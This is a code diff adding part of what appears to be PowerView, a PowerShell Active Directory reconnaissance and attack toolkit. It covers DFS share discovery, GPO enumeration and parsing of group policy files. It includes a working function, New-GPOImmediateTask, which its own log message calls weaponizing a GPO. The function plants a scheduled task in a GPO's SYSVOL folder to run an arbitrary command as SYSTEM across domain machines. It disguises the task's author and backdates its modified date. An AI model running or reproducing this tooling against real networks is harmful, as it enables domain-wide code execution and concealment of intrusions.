+ $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
+
+ $type_start = $short_prefix_end + 1
+ $type_end = $type_start + 3
+ $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
+
+ $state_start = $type_end + 1
+ $state_end = $state_start + 3
+ $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
+
+ $comment_size_start = $state_end + 1
+ $comment_size_end = $comment_size_start + 1
+ $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
+ $comment_start = $comment_size_end + 1
+ $comment_end = $comment_start + $comment_size - 1
+ if ($comment_size -gt 0) {
+ $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
+ }
+ $prefix_timestamp_start = $comment_end + 1
+ $prefix_timestamp_end = $prefix_timestamp_start + 7
+ # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
+ $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
+ $state_timestamp_start = $prefix_timestamp_end + 1
+ $state_timestamp_end = $state_timestamp_start + 7
+ $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
+ $comment_timestamp_start = $state_timestamp_end + 1
+ $comment_timestamp_end = $comment_timestamp_start + 7
+ $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
+ $version_start = $comment_timestamp_end + 1
+ $version_end = $version_start + 3
+ $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
+
+ # Parse rest of DFSNamespaceRootOrLinkBlob here
+ $dfs_targetlist_blob_size_start = $version_end + 1
+ $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
+ $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
+
+ $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
+ $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
+ $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
+ $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
+ $reserved_blob_size_end = $reserved_blob_size_start + 3
+ $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
+
+ $reserved_blob_start = $reserved_blob_size_end + 1
+ $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
+ $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
+ $referral_ttl_start = $reserved_blob_end + 1
+ $referral_ttl_end = $referral_ttl_start + 3
+ $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
+
+ #Parse DFSTargetListBlob
+ $target_count_start = 0
+ $target_count_end = $target_count_start + 3
+ $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
+ $t_offset = $target_count_end + 1
+
+ for($j=1; $j -le $target_count; $j++){
+ $target_entry_size_start = $t_offset
+ $target_entry_size_end = $target_entry_size_start + 3
+ $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
+ $target_time_stamp_start = $target_entry_size_end + 1
+ $target_time_stamp_end = $target_time_stamp_start + 7
+ # FILETIME again or special if priority rank and priority class 0
+ $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
+ $target_state_start = $target_time_stamp_end + 1
+ $target_state_end = $target_state_start + 3
+ $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
+
+ $target_type_start = $target_state_end + 1
+ $target_type_end = $target_type_start + 3
+ $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
+
+ $server_name_size_start = $target_type_end + 1
+ $server_name_size_end = $server_name_size_start + 1
+ $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
+
+ $server_name_start = $server_name_size_end + 1
+ $server_name_end = $server_name_start + $server_name_size - 1
+ $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
+
+ $share_name_size_start = $server_name_end + 1
+ $share_name_size_end = $share_name_size_start + 1
+ $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
+ $share_name_start = $share_name_size_end + 1
+ $share_name_end = $share_name_start + $share_name_size - 1
+ $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
+
+ $target_list += "\\$server_name\$share_name"
+ $t_offset = $share_name_end + 1
+ }
+ }
+ }
+ $offset = $blob_data_end + 1
+ $dfs_pkt_properties = @{
+ 'Name' = $blob_name
+ 'Prefix' = $prefix
+ 'TargetList' = $target_list
+ }
+ $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
+ $prefix = $null
+ $blob_name = $null
+ $target_list = $null
+ }
+
+ $servers = @()
+ $object_list | ForEach-Object {
+ if ($_.TargetList) {
+ $_.TargetList | ForEach-Object {
+ $servers += $_.split("\")[2]
+ }
+ }
+ }
+
+ $servers
+ }
+
+ function Get-DFSshareV1 {
+ [CmdletBinding()]
+ param(
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+
+ if($DFSsearcher) {
+ $DFSshares = @()
+ $DFSsearcher.filter = "(&(objectClass=fTDfs))"
+
+ try {
+ $Results = $DFSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Properties = $_.Properties
+ $RemoteNames = $Properties.remoteservername
+ $Pkt = $Properties.pkt
+
+ $DFSshares += $RemoteNames | ForEach-Object {
+ try {
+ if ( $_.Contains('\') ) {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
+ }
+ }
+ catch {
+ Write-Verbose "Error in parsing DFS share : $_"
+ }
+ }
+ }
+ $Results.dispose()
+ $DFSSearcher.dispose()
+
+ if($pkt -and $pkt[0]) {
+ Parse-Pkt $pkt[0] | ForEach-Object {
+ # If a folder doesn't have a redirection it will
+ # have a target like
+ # \\null\TestNameSpace\folder\.DFSFolderLink so we
+ # do actually want to match on "null" rather than
+ # $null
+ if ($_ -ne "null") {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
+ }
+ }
+ }
+ }
+ catch {
+ Write-Warning "Get-DFSshareV1 error : $_"
+ }
+ $DFSshares | Sort-Object -Property "RemoteServerName"
+ }
+ }
+
+ function Get-DFSshareV2 {
+ [CmdletBinding()]
+ param(
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+
+ if($DFSsearcher) {
+ $DFSshares = @()
+ $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
+ $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
+
+ try {
+ $Results = $DFSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Properties = $_.Properties
+ $target_list = $Properties.'msdfs-targetlistv2'[0]
+ $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
+ $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
+ try {
+ $Target = $_.InnerText
+ if ( $Target.Contains('\') ) {
+ $DFSroot = $Target.split("\")[3]
+ $ShareName = $Properties.'msdfs-linkpathv2'[0]
+ New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
+ }
+ }
+ catch {
+ Write-Verbose "Error in parsing target : $_"
+ }
+ }
+ }
+ $Results.dispose()
+ $DFSSearcher.dispose()
+ }
+ catch {
+ Write-Warning "Get-DFSshareV2 error : $_"
+ }
+ $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
+ }
+ }
+
+ $DFSshares = @()
+
+ if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
+ $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ }
+ if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
+ $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ }
+
+ $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
+}
+
+
+########################################################
+#
+# GPO related functions.
+#
+########################################################
+
+function Get-GptTmpl {
+<#
+ .SYNOPSIS
+
+ Helper to parse a GptTmpl.inf policy file path into a custom object.
+
+ .PARAMETER GptTmplPath
+
+ The GptTmpl.inf file path name to parse.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount the target GptTmpl folder path as a temporary PSDrive.
+
+ .EXAMPLE
+
+ PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+ Parse the default domain policy .inf for dev.testlab.local
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [String]
+ $GptTmplPath,
+
+ [Switch]
+ $UsePSDrive
+ )
+
+ begin {
+ if($UsePSDrive) {
+ # if we're PSDrives, create a temporary mount point
+ $Parts = $GptTmplPath.split('\')
+ $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
+ $FilePath = $Parts[-1]
+ $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
+
+ Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
+
+ try {
+ $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
+ }
+ catch {
+ Write-Verbose "Error mounting path $GptTmplPath : $_"
+ return $Null
+ }
+
+ # so we can cd/dir the new drive
+ $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
+ }
+ else {
+ $TargetGptTmplPath = $GptTmplPath
+ }
+ Write-Verbose "GptTmplPath: $GptTmplPath"
+ }
+
+ process {
+ try {
+ Write-Verbose "Parsing $TargetGptTmplPath"
+ $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
+ }
+ catch {
+ Write-Verbose "Error parsing $TargetGptTmplPath : $_"
+ }
+ }
+
+ end {
+ if($UsePSDrive -and $RandDrive) {
+ Write-Verbose "Removing temp PSDrive $RandDrive"
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ }
+ }
+}
+
+
+function Get-GroupsXML {
+<#
+ .SYNOPSIS
+
+ Helper to parse a groups.xml file path into a custom object.
+
+ .PARAMETER GroupsXMLpath
+
+ The groups.xml file path name to parse.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount the target groups.xml folder path as a temporary PSDrive.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [String]
+ $GroupsXMLPath,
+
+ [Switch]
+ $UsePSDrive
+ )
+
+ begin {
+ if($UsePSDrive) {
+ # if we're PSDrives, create a temporary mount point
+ $Parts = $GroupsXMLPath.split('\')
+ $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
+ $FilePath = $Parts[-1]
+ $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
+
+ Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
+
+ try {
+ $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
+ }
+ catch {
+ Write-Verbose "Error mounting path $GroupsXMLPath : $_"
+ return $Null
+ }
+
+ # so we can cd/dir the new drive
+ $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
+ }
+ else {
+ $TargetGroupsXMLPath = $GroupsXMLPath
+ }
+ }
+
+ process {
+
+ try {
+ [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
+
+ # process all group properties in the XML
+ $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object {
+
+ $Groupname = $_.Group.Properties.groupName
+
+ # extract the localgroup sid for memberof
+ $GroupSID = $_.Group.Properties.GroupSid
+ if(-not $LocalSid) {
+ if($Groupname -match 'Administrators') {
+ $GroupSID = 'S-1-5-32-544'
+ }
+ elseif($Groupname -match 'Remote Desktop') {
+ $GroupSID = 'S-1-5-32-555'
+ }
+ elseif($Groupname -match 'Guests') {
+ $GroupSID = 'S-1-5-32-546'
+ }
+ else {
+ $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
+ }
+ }
+
+ # extract out members added to this group
+ $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
+ if($_.sid) { $_.sid }
+ else { $_.name }
+ }
+
+ if ($Members) {
+
+ # extract out any/all filters...I hate you GPP
+ if($_.Group.filters) {
+ $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object {
+ New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
+ }
+ }
+ else {
+ $Filters = $Null
+ }
+
+ if($Members -isnot [System.Array]) { $Members = @($Members) }
+
+ $GPOGroup = New-Object PSObject
+ $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
+ $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
+ $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
+ $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
+ $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
+ $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
+ $GPOGroup
+ }
+ }
+ }
+ catch {
+ Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
+ }
+ }
+
+ end {
+ if($UsePSDrive -and $RandDrive) {
+ Write-Verbose "Removing temp PSDrive $RandDrive"
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ }
+ }
+}
+
+
+function Get-NetGPO {
+<#
+ .SYNOPSIS
+
+ Gets a list of all current GPOs in a domain.
+
+ .PARAMETER GPOname
+
+ The GPO name to query for, wildcards accepted.
+
+ .PARAMETER DisplayName
+
+ The GPO display name to query for, wildcards accepted.
+
+ .PARAMETER ComputerName
+
+ Return all GPO objects applied to a given computer (FQDN).
+
+ .PARAMETER Domain
+
+ The domain to query for GPOs, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through
+ e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetGPO -Domain testlab.local
+
+ Returns the GPOs in the 'testlab.local' domain.
+#>
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $GPOname = '*',
+
+ [String]
+ $DisplayName,
+
+ [String]
+ $ComputerName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+ $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ }
+
+ process {
+ if ($GPOSearcher) {
+
+ if($ComputerName) {
+ $GPONames = @()
+ $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+
+ if(!$Computers) {
+ throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
+ }
+
+ # get the given computer's OU
+ $ComputerOUs = @()
+ ForEach($Computer in $Computers) {
+ # extract all OUs a computer is a part of
+ $DN = $Computer.distinguishedname
+
+ $ComputerOUs += $DN.split(",") | ForEach-Object {
+ if($_.startswith("OU=")) {
+ $DN.substring($DN.indexof($_))
+ }
+ }
+ }
+
+ Write-Verbose "ComputerOUs: $ComputerOUs"
+
+ # find all the GPOs linked to the computer's OU
+ ForEach($ComputerOU in $ComputerOUs) {
+ $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
+ # get any GPO links
+ write-verbose "blah: $($_.name)"
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+
+ Write-Verbose "GPONames: $GPONames"
+
+ # find any GPOs linked to the site for the given computer
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
+ $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+ }
+
+ $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
+
+ # use the gplink as an ADS path to enumerate all GPOs for the computer
+ $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+
+ try {
+ $Results = $GPOSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Out = Convert-LDAPProperty -Properties $_.Properties
+ $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $Out
+ }
+ $Results.dispose()
+ $GPOSearcher.dispose()
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
+ }
+
+ else {
+ if($DisplayName) {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
+ }
+ else {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+ }
+
+ try {
+ $Results = $GPOSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ if($ADSPath -and ($ADSpath -Match '^GC://')) {
+ $Properties = Convert-LDAPProperty -Properties $_.Properties
+ try {
+ $GPODN = $Properties.distinguishedname
+ $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
+ $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
+ $Properties
+ }
+ catch {
+ $Properties
+ }
+ }
+ else {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties
+ }
+ }
+ $Results.dispose()
+ $GPOSearcher.dispose()
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
+ }
+ }
+}
+
+
+function New-GPOImmediateTask {
+<#
+ .SYNOPSIS
+
+ Builds an 'Immediate' schtask to push out through a specified GPO.
+
+ .PARAMETER TaskName
+
+ Name for the schtask to recreate. Required.
+
+ .PARAMETER Command
+
+ The command to execute with the task, defaults to 'powershell'
+
+ .PARAMETER CommandArguments
+
+ The arguments to supply to the -Command being launched.
+
+ .PARAMETER TaskDescription
+
+ An optional description for the task.
+
+ .PARAMETER TaskAuthor
+
+ The displayed author of the task, defaults to ''NT AUTHORITY\System'
+
+ .PARAMETER TaskModifiedDate
+
+ The displayed modified date for the task, defaults to 30 days ago.
+
+ .PARAMETER GPOname
+
+ The GPO name to build the task for.
+
+ .PARAMETER GPODisplayName
+
+ The GPO display name to build the task for.
+
+ .PARAMETER Domain
+
+ The domain to query for the GPOs, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through
+ e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target.
+
+ .EXAMPLE
+
+ PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
+
+ Create an immediate schtask that executes the specified PowerShell arguments and
+ push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
+
+ .EXAMPLE
+
+ PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force
+
+ Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
+#>
+ [CmdletBinding(DefaultParameterSetName = 'Create')]
+ Param (
+ [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskName,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $Command = 'powershell',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $CommandArguments,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskDescription = '',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskAuthor = 'NT AUTHORITY\System',
+
+ [Parameter(ParameterSetName = 'Create')]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $GPOname,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $GPODisplayName,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $Domain,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $DomainController,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [String]
+ $ADSpath,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [Switch]
+ $Force,
+
+ [Parameter(ParameterSetName = 'Remove')]
+ [Switch]
+ $Remove,
+
+ [Parameter(ParameterSetName = 'Create')]
+ [Parameter(ParameterSetName = 'Remove')]
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # build the XML spec for our 'immediate' scheduled task
+ $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true'
+
+ if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
+ Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
+ return
+ }
+
+ # eunmerate the specified GPO(s)
+ $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
+
+ if(!$GPOs) {
+ Write-Warning 'No GPO found.'
+ return
+ }
+
+ $GPOs | ForEach-Object {
+ $ProcessedGPOName = $_.Name
+ try {
+ Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
+
+ # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
+ if($Credential) {
+ Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
+ $Path = $_.gpcfilesyspath.TrimEnd('\')
+ $Net = New-Object -ComObject WScript.Network
+ $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
+ }
+ else {
+ $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
+ }
+
+ if($Remove) {
+ if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
+ Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
+ }
+
+ if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
+ return
+ }
+
+ Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
+ }
+ else {
+ if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
+ return
+ }
+
+ # create the folder if it doesn't exist
+ $Null = New-Item -ItemType Directory -Force -Path $TaskPath
+
+ if(Test-Path "$TaskPath\ScheduledTasks.xml") {
+ Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
+ }
+
+ $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
+ }
+
+ if($Credential) {
+ Write-Verbose "Removing mounted drive at N:\"
+ $Net = New-Object -ComObject WScript.Network
+ $Net.RemoveNetworkDrive("N:")
+ }
+ }
+ catch {
+ Write-Warning "Error for GPO $ProcessedGPOName : $_"
+ if($Credential) {
+ Write-Verbose "Removing mounted drive at N:\"
+ $Net = New-Object -ComObject WScript.Network
+ $Net.RemoveNetworkDrive("N:")
+ }
+ }
+ }
+}
+
+
+function Get-NetGPOGroup {
+<#
+ .SYNOPSIS
+
+ Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName
+ Optional Dependencies: None
+
+ .DESCRIPTION
+
+ First enumerates all GPOs in the current/target domain using Get-NetGPO with passed
+ arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
+ group membership is set through Group Policy Preferences groups.xml files. For any
+ GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
+ section data is processed if present. Any found Groups.xml files are parsed with
+ Get-GroupsXML and those memberships are returned as well.
+
+ .PARAMETER GPOname
+
+ The GPO name to query for, wildcards accepted.
+
+ .PARAMETER DisplayName
+
+ The GPO display name to query for, wildcards accepted.
+
+ .PARAMETER Domain
+
+ The domain to query for GPOs, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through for GPOs.
+ e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+
+ .PARAMETER ResolveMemberSIDs
+
+ Switch. Try to resolve the SIDs of all found group members.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount any found policy files with temporary PSDrives.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetGPOGroup
+
+ Returns all local groups set by GPO along with their members and memberof.
+
+ .LINK
+
+ https://morgansimonsenblog.azurewebsites.net/tag/groups/
+#>
+
+ [CmdletBinding()]
+ Param (
+ [String]
+ $GPOname = '*',
+
+ [String]
+ $DisplayName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [Switch]
+ $ResolveMemberSIDs,
+
+ [Switch]
+ $UsePSDrive,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ $Option = [System.StringSplitOptions]::RemoveEmptyEntries
+
+ # get every GPO from the specified domain with restricted groups set
+ Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
+
+ $GPOdisplayName = $_.displayname
+ $GPOname = $_.name
+ $GPOPath = $_.gpcfilesyspath
+
+ $ParseArgs = @{
+ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+ 'UsePSDrive' = $UsePSDrive
+ }
+
+ # parse the GptTmpl.inf 'Restricted Groups' file if it exists
+ $Inf = Get-GptTmpl @ParseArgs
+
+ if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
+
+ $Memberships = @{}
+
+ # group the members/memberof fields for each entry
+ ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
+ $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
+
